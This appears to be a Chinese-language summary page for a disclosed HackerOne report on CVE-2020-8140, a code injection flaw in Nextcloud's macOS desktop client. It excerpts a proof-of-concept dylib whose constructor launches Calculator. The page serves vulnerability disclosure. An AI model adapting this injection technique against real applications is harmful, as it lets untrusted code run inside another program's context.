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地图 / Code injection in macOS Desktop Client

Code injection in macOS Desktop Client

代码执行 / 代码注入 / #633266

厂商
Nextcloud
严重程度
低危 · CVSS 3.8
赏金
—
弱点
代码注入
研究员
@r3ggi-on-h1
披露日期
2020-04-10
资产
Desktop Client
CVE
CVE-2020-8140

该报告还没有中文解读。

原文摘录

摘自原文(2598 字符中的一小部分)
I've identified a code injection vulnerability in your macOS desktop client. Any malicious application, running with standard user permissions is able to exploit this vulnerability and execute code in your application's context.
原文中的代码
#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {
    
   puts("\n\nHELLO FROM THE DYLIB!\n\n");
    
   NSTask *task = [[NSTask alloc] init];
   task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
   [task launch];
    
}

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @r3ggi-on-h1 · 版权归作者与 Nextcloud 所有

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